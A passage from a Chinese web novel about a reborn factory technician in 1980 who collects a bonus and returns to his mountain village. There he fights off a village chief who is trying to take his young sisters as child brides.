杜国强清了清嗓子,笑道:“厂里正常改善一项工艺,奖励也就五块钱的酬劳。这200块突然砸我手里,您琢磨琢磨,合理吗?”
“我明白领导们的期望,但想光靠这200块就牢牢稳住和八零厂的合作,怕是远远不够。”
被拆穿心思的娄希顺老脸腾地一红,不自然地搓着双手:“得,全让你小子看透了!”
他压低声音,神情透着几分无奈与恳切,“实话说,这是区长的意思。既然八零厂的生意是你谈下来的,后续对接自然还得靠你。”
“可你现在资历浅,中级技术员已经是破格提拔,再往上加职称,区里审批这关根本通不过。区长思来想去,只能用这法子,多给你些钱,也算聊表心意。”
杜国强心里透亮,体制内晋升本就按资排辈,破格提拔谈何容易。
娄希顺和区长这般着急,显然是怕自己撂挑子。
这200块与其说是奖励,倒不如说是定心丸。
不过,这倒正合杜国强的心意。
对他来说,职称不过是虚衔。
凭借自己脑子里超前的技术知识,只要适当展露,迟早会引起国家层面的关注。
在小小的自行车配件厂当“土皇帝”,又有什么意义?
他真正想做的,是深入了解国内工业现状,将脑海中那些先进技术和理念逐步落地,助力国家工业发展,让国家在现代化道路上少走些弯路。
所以拿钱走人,是目前的最优解。
用这笔钱改善家里条件,把老母亲和两个妹妹接到城里,杜国强暗暗想到。
他沉思片刻,道:“娄**,既然领导信得过我,这担子我挑了!您放心,我不会因为职称的事有二话。安阳厂就是我的家,只要我在一天,就拼尽全力让厂子红火起来!”
娄希顺双眼发亮,一把攥住他的手,满脸欣赏的笑道:“好!好!好!”
他怎么也没想到,眼前这个年轻人竟如此深明大义,不仅没计较提拔的限制,还把厂子的存亡看得比个人得失更重。
“有你这样的人才,何愁咱们厂子没有发展!”娄希顺拍着杜国强的肩膀,习惯性地抛出甜头,“好好干,将来我这个位置说不定就是你的!”
几人朝着礼堂走去。
工人们已经挤得满满当当的,会场声音嘈杂得很,紧紧地盯着进来的三人。
“大伙这回能按时领工资,全靠小杜!要不是他谈下八零厂的生意,咱们现在还在喝西北风!”
刚一露面,娄希顺便当着满场厂子弟的面,扯开嗓门把杜国强夸上了天。
掌声、议论声顿时此起彼伏。
当然也有几道不善的目光如芒在背。
那些与杜国强年纪相当的年轻人,原本觉得自己资历更深、能力更强,此刻却见他平步青云,心里泛起阵阵酸意。
娄锡顺笑眯眯地望着台下众人:“我知道大家等得急,也就不在这说教了。咱们按车间次序,一个一个来,工资一分钱不会少给大家。”
大家哄吵哄吵地赶忙按照娄锡顺所说的排好次序,一个个地领起钱来。让众人感到有些惊讶的是,这回真的一分钱工资没少,全额发放。众人喜笑颜开,对杜国强更加热情了。
眼瞅着众人都要朝自己来问话,杜国强也没敢多待。
他领完自己三个月135块钱的工资后,就匆忙打了个招呼,回到了自个所待的一车间中。
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>而这本应该算低调的一幕,却在有些人眼里格外的扎眼。
散会后,有几人闷声不响地聚到墙角,掏出烟卷点着,袅袅烟雾里,抱怨声渐渐冒了出来。
“这杜国强走了什么狗屎运?咋就跟八零厂厂长搭上了?”
一个卷着裤腿的青工狠狠嘬了口烟,“农村来的光棍能有啥本事?不就是碰着了运气!”
旁边斜倚着墙的同伴撇撇嘴:“可不嘛,娄**也就嘴上夸两句,他那工资还是三个月135块,还比不过咱们厂的老工人呢!”
蹲在一旁的马秘书突然嗤笑一声,弹了弹烟灰:“得了吧你们,少在这充大爷。人家杜国强给厂里立了多大功?奖金早先发了——整整200块现大洋,够你们攒小半年了!对了,娄**还要升他为中级技术员呢!”
几个年轻人瞬间噎住,烟头在指间晃了晃,脸色青一阵白一阵。
“啥?200块奖金?”
“还有中级技术员?”
几个青工惊得眼珠子都快瞪出来,嘴巴张得能塞下鸡蛋。长这么大,谁听过这么高的奖金?
“马秘书,你可别逗我们玩!”有人搓着下巴直犯嘀咕。
马秘书深吸一口烟,吐出了烟圈,语气带着几分炫耀:“骗你们图啥?娄**从区委回来,头一个就把杜国强叫去,亲手塞了200块现钱!”
他压低声音扫了眼四周,“这话你们听听就完了,千万别往外传,不然我可不认!”
几个年轻人面面相觑,烟卷烧到指缝都没察觉,心里那点优越感消失不见,只剩满肚子的震惊和说不出的酸涩。
他们压根没发现,谈话被一个躲在宽阔白桦树后的女人听得一干二净,正是厂子里的杨芸。
杨芸之前在八零厂被杜国强“教训”,回厂后满肚子怨气,私下里没少骂这“土包子”忘恩负义。
可当听到杜国强独得200块奖金时,她捏着衣角的手猛地一紧,先前那些咒骂突然就卡在了喉咙里。
那可是200块啊!够买多少斤粮票、扯多少布料?
更何况还有一个中级技术员,日后工资又会长一大截。
不行!
杨芸猛地朝杜国强所在的一车间跑了过去。
第14章 咋能当童养媳?
杜国强本来打算在车间收拾一番就请假回家。
先前娄**已经给他许诺了,厂子里会单独给家里弄一间办公室,以后他在车间办公的日子就一去不复返了。
正当他打算怀缅一下自己普通职工的生活之时,杨芸却如同一只苍蝇一般,追在自己屁股后面,嘘寒问暖起来。
杜国强看着这油脂满面、恬不知耻往自己身上贴的杨芸,顿时有些佩服。
还真是人不要脸,天下无敌。
先前跟自己在八零厂差点闹僵,眼下却又跟没事人一样,想要从自己身上捞好处。
他忽然有了主意,能好好整整杨芸。
杜国强凑近杨芸,压低声音问:“杨芸,我想买点礼物。你说给女生买礼物送啥好?帮我拿拿主意呗。”
杨芸先是一怔,随即心脏狂跳——杜国强拿了200块奖金,转头就来问她送礼?
这不明摆着要给她买吗!
她强压着雀跃,眼睛亮晶晶地说:“国强哥,我瞅见供销社新到了几匹丝柔绸缎,那料子软和得跟云彩似的,做成衣服保准好看!”
杜国强玩味的嘴角上扬道:“还有呢?”
还有,这小子是打算大出血啊!
杨芸兴奋道:“还有供销社新到的港岛手表,表带可是牛皮的。再买些绣花布料、胭脂香粉……你要是把这些备齐了,哪个姑娘不心动?”
说着,她指尖似有若无地蹭过杜国强胸口,眼波流转间全是暗示。
杜国强撸起袖口,从桌上摸出张皱巴巴的纸和铅笔,把杨芸念叨的绸缎、手表、胭脂水粉一一记下。
这女人是出了名的势利眼,可偏偏在挑东西上有套——供销社啥时上新、哪样紧俏,她门儿清得很。
用她的眼光给人挑礼物,倒省了自己琢磨的功夫。
“国强哥,你啥时候给我买,我想跟你一块儿去看。”杨芸撒娇道。
“我啥时候说要给你了?”杜国强淡淡道。
啥?
杨芸一时间没反应过来。
“国强哥,你这是啥意思?”
杜国强道:“这是我马上要回乡下,许久没回家,总要给家里带些礼物的,于是让你帮忙参谋参谋。”
杨芸听了,差点没气炸。
“不是给我买的,那你刚才问了我这么一堆?”
杜国强朗声笑了笑,头也不回离开办公室。
身后终于传来杨芸歇斯底里的骂声:“杜国强**个畜生!”
杜国强没理会,跟娄**请假后,他便来到供销社采购,准备动身回乡下了。
杜国强家在个极偏僻的小山村,别说公共汽车,连条像样的公路都没有。
进村子得先在十多公里外的路口下车,要么等村里人赶驴车来接,要么就只能自己背着东西往山上爬。
山路坑坑洼洼全是碎石,走一步滑半步,赶上雨天更是泥泞得能没过脚踝。
同龄人念完山里的小学之后,普遍都辍学,每天割猪草,跟着大人在田里头忙活。
只有杜国强亲妈倔强的让自己读书,送杜国强出山。
出山的时候,家里面没有钱,自个老母亲便将家里仅有的老母鸡,以及它下的20只蛋给杜国强带在了路上。
而当杜国强拿这些东西到学校抵学费之后,自然也遭受到了其他同学的嘲讽。
渐渐的,杜国强也就嫌弃起了自个的农村的家,甚至到后来完全跟家里断了联系。
我真是他妈不孝啊!
杜国强内心酸楚,恨不得在这路上给自己来个巴掌。
老母亲都把家里的命根子给掏出来让供自己继续念书了,自己却混蛋的还想着家里人付出不够。
杜国强拽着装满礼物的蛇皮袋,深一脚浅一脚往山里走。
整整十个时辰,双脚磨出了血泡。
但当那片只有几十户人家的偏僻村子映入眼帘,看到自家破破烂烂、用茅草和泥土搭成的屋子时,杜国强还是眼眶一热。
“妈,我回来了。”
杜国强激动地跨进门槛,神色却瞬间呆住。
只见自个家里乱七八糟的,仿佛遭遇了洗劫。
暖壶被打碎在墙角,碎玻璃渣子掉了一地。
铺盖、洗脸盆也都被弄成稀巴烂。
最重要的是家里人一个都不在,杜国强顿时内心一崩,慌张起来。
这
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家里是出啥事了?
杜国强扔下袋子就往村里跑。
转过弯时,一声哭喊传来,他浑身一震——是母亲朱桂芬的声音!
他顾不上脚下,朝着声音的方向跌跌撞撞冲去。
顺着声音挤到村东头,杜国强看见里三层外三层的人墙。
他扒拉开人群钻进去,眼前的景象让他血液瞬间凝固——母亲朱桂芳披头散发坐在地上,两个妹妹满脸三人被挤在角落。
村长郑大山正叉着腰,他那傻儿子留着鼻涕,傻不愣愣的死死的盯着自己妹妹,笑着道:“媳妇,媳妇!”
朱桂芳死死搂着两个女儿,声音都喊哑了:“郑大山,我家闺女才多大啊,咋能当童养媳?您行行好放过她们吧!”
郑大山嬉皮笑脸道:“年纪小可好啊,这才能培养。”
“老嫂子,我也不白要你这俩娃娃,就相当于你把这俩孩子卖给我了。我每人给你出20块,咋样?”
见到这一幕,杜国强总算想起来了!
眼下是郑大山那傻儿子没人给说亲,这老东西怕绝后,想找两个童养媳,便盯上了势单力薄的朱桂母女三人。
当时朱桂芬还给杜国强写了信求救,可惜当时的杜国强是个彻彻底底的怂逼,生怕在村里根基深厚的郑大山给自己好果子吃。
啥都没敢做,结果害的自个妹妹在争执中被郑大山打断了一条腿,将事情闹大了。
虽说躲过了做童养媳的命,可却落下了终身的残疾。
杜国强看着眼前的场景,太阳穴突突直跳。
他目光一扫,看见不远处横躺着一根碗口粗的木头棍子,三步并作两步冲过去抄起木棍,攥得指节发白,大步朝着郑大山走去。
郑大山扯着嗓子冷笑:“老嫂子,我这哪是逼你?你家这穷酸样,闺女跟我儿子就是享清福!“
朱桂芳浑身发抖:“求你了,我真不想让我闺女嫁个傻子。“
话没说完,郑大山勃然大怒,他最恨别人在他面前提起自己儿子是个傻子的事情。
“朱桂芳,我看你是想死!”
他咬牙切齿的一脚踹过去:“敢骂我儿子傻子?”
第15章 有我在没人能欺负你们
就在这瞬间,一道黑影破空而来。
碗口粗的木棍结结实实砸在郑大山小腿上,骨头碎裂声混着惨叫炸开。
众人还没反应过来,杜国强已经握着半截木棍站在母亲身前,冷冷的盯着郑大山。
“郑大山,就你也想对我妈动手?”
朱桂芳愣在原地,看着面前高大的身躯,泪眼有些模糊,时隔太久,自己大儿子的身高竟然朝了自己一个头。
“儿,是你吗?”朱桂芳有些不敢相信的开口问道。
“妈,是我,我回来了!你放心,有我在没人能欺负你们。”
杜国强将粗棍子在掌心重重一握,冷冷盯着在地上翻滚的郑大山。
对方疼得脸色惨白,额头上豆大的汗珠直往下滚,被打断的腿冒着鲜红的血液。
见是杜国强下的手,郑大山瞬间涨红了脸,扯着嗓子嘶吼:“我去**杜国强!你今儿是活得不耐烦了?敢动老子?!”
郑大山一直知道朱桂芳有个大儿子,但还肆无忌惮的欺负这母女三人。
因为在他眼里,杜国强不过是个在外混饭吃的小喽啰,借他十个胆子也不敢招惹自己这个“村里的头”。
此刻看着杜国强提着棍子站在面前,郑大山疼得龇牙咧嘴,心里又惊又怒——他怎么也没想到,这个向来唯唯诺诺的小子,真敢下狠手打断自己的腿!
“小子!别以为进城几天就人五人六了,这山窝窝里老子说了算!”
郑大山疼得冷汗直流,仍扯着嗓子点了几个本家兄弟的名字,咬牙切齿道,“给我往死里揍!”
话音刚落,几个膀大腰圆的后生抄起家伙就围了上来。
这都是郑大山的本家人。
郑大山之所以能在这小山村中作威作福,除了天高皇帝远,外面的人很难管到郑大山之外,还有就是他这些本家的后辈了。
这些人就是郑大山的狗,谁要是不听话,他们便跳出来咬一口。
杜国强把木棍在掌心转了个圈,嘴角勾起冷笑,这些小喽啰他可是一点不放在眼里。
就在他要迈步迎敌时,朱桂芳突然冲了出来,用单薄的身躯死死挡在他身前,双臂张开如同一面颤抖的盾牌:“不能打!你们要打就先打死我!”
几个二流子狞笑着逼近:“朱婶,别自讨苦吃,挡路连你一块收拾!”
朱桂芳后背抵着儿子,双腿止不住发抖,却把胳膊又往外张了张。
她转头望向蜷在地上的郑大山,声音发颤:“村长,孩子不懂事,您大人有大量……”
“做梦!”郑大山疼得五官扭曲,死死的咆哮道:“打断这小子的腿!两个小的给我拉回去,给我儿子当媳妇!今天谁都别想好端端的离开!”
朱桂芳脸上血色尽失,绝望地回头看了眼杜国强,颤抖的手抚过儿子的头发,声音哽咽:“高了,长高了……”
下一秒,她猛地用尽全身力气推了杜国强一把,嘶吼道:“带妹妹跑!去城里找警察!他们不敢在城里撒野!妈挡着!”
杜国强踉跄着稳住身形,瞬间读懂母亲眼底赴死的决绝。
指甲深深掐进掌心,他大步跨到朱桂芳身前,将母女三人牢牢护在身后,木棍重重杵在地上发出闷响:“妈!今天我就是拼了这条命,也不让他们动你们一根指头!”
他泛红的眼睛扫过围上来的二流子,浑身散发出骇人的狠劲。
“小子挺狂啊!”为首的二流子晃着手里的铁锨,刃口在石头上刮出刺耳声响,“老子倒要看看,你这骨头有多硬!”
几人呈扇形包抄过来,棍棒晃得人眼花,其中一个矮壮汉子狞笑着抡起木棍,朝着杜国强面门劈头砸下。
矮壮汉子的木棍带着风声劈来,杜国强侧身躲过,铁钳般的手掌死死攥住棍身。
不等对方反应,他借力一扯,抡起木棍横扫而出,只听“砰”的一声闷响,棍头重重砸在汉子脸上。
几颗牙齿混着血水飞溅而出,汉子直挺挺向后栽倒,在地上抽搐两下没了动静
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原本喧闹的人群瞬间鸦雀无声,剩下的二流子们僵在原地,看着杜国强染血的木棍,喉结不由自主地上下滚动。
郑大山瘫坐在地,脸色惨白如纸,额头上冷汗混着尘土往下淌。
那几个郑家人也被吓傻了,不知道这人究竟是昏了过去,还是被杜国强直接给打**。
郑大山回过神来,扯着嗓子嘶吼,声音里带着掩饰不住的恐慌:“愣着干什么?上!这么多人还怕他一个?谁弄死他,这村长的位子就是谁的!”
重赏之下,几个郑家人对视一眼,又握紧手中的家伙,慢慢朝着杜国强围拢过来,脚步却明显比刚才迟疑了许多。
村长的位子几个字像把火,瞬间点燃了他们的贪念。
握着家伙的手紧了紧,刚才被吓住的迟疑劲儿全没了,呼喝着又朝杜国强扑上来,木棍铁锨带起的风直往人脸上刮。
面对多人的**,杜国强不慌不忙,摆起了架子。
按照他前世在少林寺求学时,少林寺武僧教他的那些法子,应对着几人的拳脚。
他虽然没学到电视里飞天遁地的花架子,但在拳脚上颇有建树,甚至对某些少林功夫也很在行。
此刻面对挥来的棍棒,他不退反进,侧身避开铁锨的同时,手肘狠狠撞向对方肋下,另一只手顺势扣住对方手腕猛地一拧。
只听“咔嚓”一声,先前动手的郑家人惨叫着松了手,手腕扭曲着。
然而这一个棍挡也瞬间被另一个郑家人所把握到,他闷闷地抬起手中的棍子。
狠狠的朝杜国强的头砸了过去。
“草**,我看你这回死不死。”
“儿!”朱桂芳惨烈地叫喊起来,可眼下,她已经替自己儿子挡不了这一棍了。
木棍狠狠的砸在了杜国强的头上,可令人意想不到的是,杜国强的头依旧纹丝不动,反倒是那根棍子噼里啪啦的碎裂开来。
拿着棍子的那人顿时给吓蒙了。
这是啥?铁头功吗?
第16章 铁头功
这年头,虽说已经踏入新社会,但是没有一口吃撑胖子的人,旧社会的习俗依旧屡见不鲜。
尤其是农村地区,迷信思想更是普遍,甚至有淫贼照仿陈胜吴广,在村子里称帝。
组团攻打县医院,欲收医院里的年轻小护士们为后宫佳丽......
此刻,眼见杜国强硬生生地用头将木头棍子撞成碎片,村里围观的众人心头笼罩上了一丝胆怯。
几个郑家人,说什么都不愿再上前跟杜国强动手了。
“村长,这小子身上有邪乎的东西,不干净!”
“怕求,顶多是鬼上身罢了!”
嘴上这么说,但郑大山自己也是脸色微寒,往后缩了缩。
杜国强见状,嘴角扬起。
他当然不是什么鬼上身,亦或是什么妖魔鬼怪有关。
铁头功是真实存在的,但却并不像村里人想象的有什么神秘色彩。
杜国强在少林学习时就了解过,这只不过是少林硬气功的一种。
找到窍门,勤加修炼。
几乎人人能够掌握。
眼下,这半吊子的铁头功确实将这伙人给吓住了。
杜国强冷冷注视众人:“郑大山,今儿个你们郑家的人若是想死,那尽管上来。”
“妈的,小子装神弄鬼,我偏不上去。”郑大山朝地上吐了口唾沫,两腿诚实地往后缩了一步。
“老子不跟你打。老子报官,叫警察!”
郑大山伸手指了指倒在血泊之中的那位郑家子嗣。舔了舔自己的嘴唇,冷笑着说道:“如今是什么时代了?管你哪来的妖魔鬼怪。我收拾不了你,警察还收拾不了你吗?”
“叫两个腿脚跑得快的,给我到城里面,把这件事跟派出所说清楚。我倒要看看这小子的脑袋能不能硬得过铁疙瘩做的枪炮!”
郑大山阴森森地笑道:“杜国强,你是城里出来的又怎么样?别忘了我那侄儿还是**局里的二把手呢!等他回来,我看看你还怎么在这嚣张!”
郑大山的一位侄儿确实是城里区派出所的干事,还当了个小官,手底下管着几个人。
郑大山之所以在村里如此跋扈,和他那位当干事的侄儿脱不了关系。
杜国强道:“好啊,你把你侄儿叫来,我也搬救兵。我倒想看看,你能搬来观音菩萨,还是我能。”
郑大山一愣,随后不屑道:“你认识谁,还能比拼过我当官的侄儿?”
杜国强道:“咱们区的区长够不够?”
“区长?”杜国强一句话,瞬间将郑大山和其他郑家人惊得怔在原地。
郑大山难以置信地望着杜国强:“小子,你在这吹什么牛逼吧?”
说实在的,杜国强也确实是在扯虎皮做大旗。
实际上,他到现在都还没见过区长的真容。
对方只不过委托娄锡顺给自己发了一次奖金罢了。
但是真要把这件事捅到区长那里,杜国强相信对方是不会不管自己的。毕竟自己手上还肩负着安阳自行车配件厂与八零厂合作的重任。
杜国强望着郑大山道:“你不信,大可试试,我倒想看看,是你那在派出所里当干事的侄子硬,还是咱们区的区长硬?”
听到杜国强煞有其事的语气,郑大山的脸色阴晴不定。
终于,他咬了咬牙,招呼起身后的那些郑家人:“撤!”
郑家人一听这话,个个傻眼。
有人想要议论,但却被郑大山狠狠地瞪了回去。
走远后,有郑家人忍不住开口对郑大山说道:“村长,咱们这么多人,怕他干球?大不了就跟他拼了!”
郑大山骂骂咧咧地踹了那人一脚:“没脑子的货,万一那小子说的是真的呢?他要是认识咱们区长,你我都没有好果子吃。”
“那咋办?咱们就把这口恶气深深咽下去?”有郑家人不爽道。
“先看看情况,也不知道这小子说的是真是假。老三,你派人到派出所里见见小阳子,让他打听打听,看看这杜国强是不是真的和区长有关系。”
平日里在村子里威风八面的郑家人,就这样如同一窝老鼠一般灰溜溜地离开了众人的视线。
而办到这一切
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的人,竟然是曾经在村子里毫无存在感的杜国强。
围观的众多村民吃惊地打量着杜国强。
平日里和杜家关系还不错的几户人,这才假惺惺地站起来将朱桂芳扶了起来,嘘寒问暖。
一些杜家的亲戚也纷纷开始指责郑大山,大有要替杜国强找回公道的意思。
而杜国强望着这一切,却忍不住冷笑。
事后马后炮谁都会,当他们一家人最需要这些村民站出来的时候,却一个个默不作声,恨不得躲得远远的看热闹。
对于这些人,杜国强连搭理的意思都没有。
说到底,整个村子里,杜国强最为尊敬的还是已经搬到城里的表哥和表嫂二人。
杜国强搀扶着朱桂芳,领着两个妹妹朝自家走去。
朱桂芳一步三回头,忍不住开口对杜国强说道:“儿子,先前那么多人帮咱们说话,你咋不理他们?该有的礼数还是要有的嘛。”
杜国强道:“妈,那些人刚才站在那里,连帮你们一把的意思都没有,我和他们又有什么沟通的必要?”
朱桂芳叹了口气道:“可是毕竟还是一个村里的人,往后还要来往,面子上总归会落下不好看的。”
“不用跟他们来往了。”杜国强深吸了一口气道,“妈,我想好了。以后你带着安安和乐乐跟我一块到城里住。”
“到城里?”
朱桂芳吃了一惊。
她倒是曾经幻想着儿子当成大官,把自己接过去享福,让自己能够朝其他人炫耀炫耀,可那都是几十年之后的展望。
前段时间,她发现杜国强对她这个穷娘愈发的不耐烦,本来以为母子日后再难相见了。
却不曾想,杜国强竟然突然孝顺许多,现在更是提出要接她去城里住。
朱桂芳顿时苦笑地摇起了头:“儿啊,妈知道你有孝心,但是你那工资就40多块,日后还要娶媳妇,把我和你妹妹接到城里,租房子、买东西都得你出钱,这不是活活地让我们拖累你吗?”
朱桂芳坚决地摇了摇头,“不行,这事不通。”
第17章 敞开心扉
“说到底是妈拖累你了,现在不应该在花你工资了。”
朱桂芳颤巍巍地伸出手,摸了摸杜国强的头发,“先前你跟我说不想参加工作,想继续读高中、跟城里那些孩子一样考大学。可是咱家实在供不起你了,妈真是一点办法没有了。”
听到朱桂芳这么说,杜国强扎心一般地痛。
初中毕业后他确实想继续求学,三番五次地写信寄到家里,让家里多给他寄些钱。
可是朱桂芳把家里翻了个底朝天,自己和两个闺女的口食仅能勉强糊口,可这样凑出来的钱,也不够杜国强考学要用费用的十分之一。
这可把杜国强给惹恼了,他写了最后一封信,痛斥了母亲朱桂芳一顿,还表示要跟家里断绝关系。
此后三个月,他都没和家里通信。
眼下见儿子又出现在面前,朱桂芳双眼含泪,抓住杜国强的胳膊哭丧道:“是妈不好,是妈没本事,没能供你考高中。妈也不敢求你什么,只希望你以后能拉扯你两个妹妹一把,别再让今天这样的事发生了。”
说着,朱桂芳就蹲在地上哭了起来。
杜国强叹了口气,刚想安慰,却见两个妹妹围到母亲身旁:“妈,你别哭了,我们不要大哥的钱。我和乐乐自食其力,能养活咱们娘仨。”
最小的妹妹也倔强道:“妈,我不念小学了,跟你一块去地里,晚上编草鞋。”
说着,乐乐还回头望了杜国强一眼,道:“大哥,我们不用你养活,你的钱以后留着自己花。咱们……能不断绝关系吗?”
“大哥,我们好想你啊。”
听到两个妹妹的话,杜国强眼眶有些红了,蹲下来揉了揉两个小女娃的脑袋,“大哥错了,大哥犯糊涂了。以后咱们一家人要好好的。”
而后,杜国强将朱桂芳扶了起来:“妈,先前我在书信里犯浑,朝您发火是我做的不对,求您原谅我。我现在已经想通了。什么学历都是虚的,日后这玩意我还能再考,可是家人不在一块了,那就是真的没了。”
杜国强说着,将自己带着的蛇皮袋子递到朱桂芳手里,又从口袋里掏出20块钱:“这里面是给您和安安、乐乐买的礼物,这20块钱先当家用。以后我每个月都给您钱,到了城里,您拿这些钱买柴米油盐和日常开销。”
听着儿子絮絮叨叨的嘱咐,朱桂芳神色有些迷茫,抓着那20块钱的手忍不住颤抖,有些不敢相信这一切是真的。
自从杜国强上学后,家里存款从没超过10块。
一有余钱就得送到城里供儿子读书,可现在杜国强竟然反过来给她钱了。
朱桂芳打开蛇皮袋子一看,老天爷,里面装的是啥东西?几样物件五花八门,绸缎五彩斑斓,她甚至都没见过,这得花多少钱啊?
“儿啊,你哪来的这么多钱?”朱桂芳脸色苍白地盯着杜国强,“你是不是为了钱干啥坏事了?这可使不得啊!”
“妈,您想哪去了?”杜国强笑了笑,“放心吧,这钱和东西来路都正儿八经的。我在厂子里拿了200块奖金呢。”
杜国强把自己和巴林厂厂长签订合约的事跟朱桂芳说了一遍。
朱桂芳听得一愣一愣的,儿子现在居然有本事跟国营厂厂长谈条件了?
她有些不敢相信,犹豫着说:“那我和你妹妹去城里,不会拖累你吧?”
杜国强心里有些触动,及时日子到了过不下去的时候了,亲妈到现在念叨的全是担心拖累自己的话。
他道:“妈,您放心,今天我跟你们将东西收拾一下,而后你们去姥爷他们村里呆两天,等我租好房子后,就来城里。”
“至于安安、乐乐上学的事,您别担心。”杜国强接着说,“虽说咱们现在还是农业户口,地里有生产任务,但让朱厂长解决不难。您可以先去巴林厂或安阳厂做临时工,两个妹妹也能去巴林厂附属小学上学。”
杜国强想过把母亲和妹妹接到城里的麻烦,农业户口是首当其冲的问题。
眼下,有心算计之人居多,谁都不肯落把柄在别人手上。
一个家庭整体搬迁到
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城市中,难免会被人做文章,只有农转非,把户口问题解决了,才能高枕无忧。
不过,眼下这笔费用是杜国强负担不起的,即便是寻人、托关系,那也是个天文数字,能拖死好几个万元户。
所以,他也只能冒这个风险,让母亲先去当临时工了。
大妹妹安安听了,迟疑了一下,拽了拽杜国强的胳膊:“大哥,我不念书了。我去做工,这家里不能让你和妈妈两个人扛着。”
杜国强看出了大妹妹的小心翼翼,满是讨好自己的意图——是怕自己又犯浑,和家里断了关系,对她们三人不管不顾。
他叹了口气,摸了摸安安的头发,道:“再敢说辍学不念,小心哥把你吊起来拿柳条鞭子抽!以后能考大学就考大学,能考高中就考高中,啥时候实在念不下去了,才准不念!”
“大哥,那咱家咋能念得起?”安安吃惊地说道。
杜国强笑了笑:“这就不是你该操心的了。你哥自有办法解决。以后给我好好学习,不要想着做工。**岁的小毛孩,顶多修两个鞋底子,有个屁用!”
“等到了城里不好好读书,把你送回来,给那个傻子当媳妇。”杜国强吓唬道。
晚上,一家四口围坐在烧炭的火炉旁,痛痛快快地吃了一顿丰盛的饭菜。
杜国强特地从供销社用钱和油票买了猪油,丝毫不省,每道菜都舀上一大勺。
这可把朱桂芳心疼坏了,不过,用油多炒出来的菜确实美味。
油香在这间小小的茅草屋内肆意弥漫,两个妹妹埋头大口吃饭——她们已经许久没有这样畅快地吃过饭了,就算是过年,家里也不过煮半斤肉,一家人分着吃。而杜国强今天却做了好几样,其中还有肉。
虽然这顿饭的代价高昂,可一家人吃得很是痛快。
原本满脸愁容的两个妹妹也都舒展开了笑容,一个个搂着杜国强不住地叫“大哥”。
这让杜国强悬着的心终于落了地,这段时间,他一直担心两个妹妹会因生活艰难而与他生分。
第18章 动私刑
第二天,他跟着老母亲和两个妹妹在茅草屋里收拾起来,拆卸着一切可能在城里用得上的物品。
一家人穷惯了,朱桂芳甚至连院子里那把扫秃了的竹条扫把都想带走。
直到杜国强告诉她,这东西在城里很便宜,自己一个月的工资就能买好几十把,朱桂芳这才满脸不舍地把扫把放回了屋角。
收拾完后,杜国强变催促着亲娘和妹妹去姥爷家告别了,之所以他没去,那是因为姥爷一直不待见自己这个光吃不进的外孙,过去只能遭白眼。
就在送走母亲没多长时间。
一个穿着蓝褂子、黑布鞋的中年妇女急冲冲地闯进了院子。
杜国强一眼就认出了对方——邻居朱婶。
平日里,朱婶和他们家关系极好。
两个妹妹要是饿肚子了,总爱赖在朱婶家院子里,朱婶心一软,就会从搪瓷缸挑出几个小的玉米糍粑,悄悄塞进俩娃娃的裤兜里。
再加上昨天晚上朱桂芳开导杜国强,说大部分亲戚对他们家其实都不错,只是大家都是平头老百姓,要是帮衬得太狠,难免会遭村长算计,所以才不敢在明面上帮忙。
听了母亲这番话,杜国强对周围人这才算好转了一些。
见朱婶匆匆赶来,他便主动开口询问:“朱婶,这么着急,是不是出啥事了?”
朱婶见杜国强主动搭话,先是一愣,随即点头急切道:“快!赶紧带着你妈和你妹妹,往西头那条小路走!”
“郑大山的侄儿回来了,他在区委打探过,说压根没听过你这号人,还放话说是你骗了区长垂青,要把你抓进派出所好好收拾一顿呢!”
“郑大山的侄儿?就是那个在派出所当干事的郑家小子?”杜国强闻言猛地一愣,没想到郑大山动作这么快,当即追问,“他带了几个人?有没有人跟着?”
朱婶急得直跺脚:“就他一个人回来报信的!这时候哪还顾得上问这个?你没听明白吗?郑大山这次是铁了心要整你呢!听婶的话,赶紧带着你妈和妹妹从西头小路跑,晚了就来不及了!”
就一个人,看来这郑大山的侄儿是专门替郑大山回来办私事的。
杜国强摸着下巴琢磨道。
这年头,人多眼杂,坏人藏在人民群众里,有些地痞流氓难对付的很。所以派出所的外勤一般至少要派两名干事才能保证自身安全。
这么说明,这人是来谋私的了。
杜国强心里慢慢浮起一个计划,一个扳倒郑大山的机会,如果干的好了,说不定还能一块将郑大山的那个侄儿也整下台去。
“朱婶,你家二毛子是不是跑步挺厉害的?”
“是啊,人家学校里的体育老师说我家二毛子的腿跟**一样。他还代表过咱们市参加比赛呢。”朱婶开口道,“你问这个干啥?”
“我记得咱们隔壁山的那个村有一台电话,能通到城里面。我想劳烦你儿子跑步到隔壁村,用电话给区委的人说一声我现在的情况。”
八零年,电话对于山窝窝的小村子还是稀罕物,杜国强他们村里没电话。往常大家交流,都是要到隔壁村去借的。
就这还是付费使用的。
杜国强从裤兜里掏出三块钱,塞到朱婶手里,“一块钱借用费,剩下的就当是他的辛苦费了。”
朱婶狐疑地打量着杜国强,开口问道:“你到底认不认识区委的人?”
杜国强轻轻笑了一下:“您这个电话打过去就知道了。”
说完,杜国强便让朱婶离开。
朱婶虽拿不定主意,但又舍不得这两块钱,回到家后,便把自己的半大小子叫起来,按杜国强的吩咐去做了。
果然如朱婶所说,她刚离开没多久,郑大山便浩浩荡荡地带着一众郑家子嗣闯进了杜国强家中。
站在郑大山身旁最前面的,是个身材壮实、穿着灰绿色军装的男人——正是郑大山的侄儿郑远阳。
郑远阳是区派出所的干事,虽说并非如郑大山吹嘘的那样是派出所二把手,只是一个行动组的小组长,但这个身份,也足以让村里其他大人敬畏仰望了。
“杜国强,你不是认识区长吗?那咋区委的访客登记上没你的名字呢?”郑大山咬牙切齿地盯着杜国强,“我那侄儿里里外外打探了三遍,这才确定你小子是在吹牛逼!你倒是蛮会糊弄人的嘛!”
郑远阳从裤兜里掏出了**,冷冷地朝杜国强逼近:“无中生有,还蓄意伤人,这郑家村怎么出了你这么一号害群之马?”
说着,便要将**扣在杜国强手腕上。
杜国强眼疾手快,一巴掌将**打开,反问道:“你凭什么抓我?有上面的逮捕令吗?”
郑远阳顿时勃然大怒,觉得杜国强这
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是在公然挑衅自己的威信,吼道:“老子是派出所的干事!收拾你个乡巴佬,还需要你质疑?”
“再说,瞅瞅那儿。”郑远阳郑远阳指了指身后被抬在担架上的郑家人,恶狠狠地说:“蓄意伤人,把我的同族堂弟打成重伤!”
“那是你们郑家族人先**我,我只是自卫。”杜国强冷冷道:“你们郑家的老不死,还逼着我的两个妹妹给他当童养媳。”
郑远阳嘴角扬起道:“谁看见了?我这边得到的消息,分明就是你杜国强寻衅滋事。怎么着?今天你还想拒警不成?”
郑远阳等的就是这么一个由头。
这年头**乱,各种地痞流氓层出不穷,任何不配合治安的行为都算是重罪。
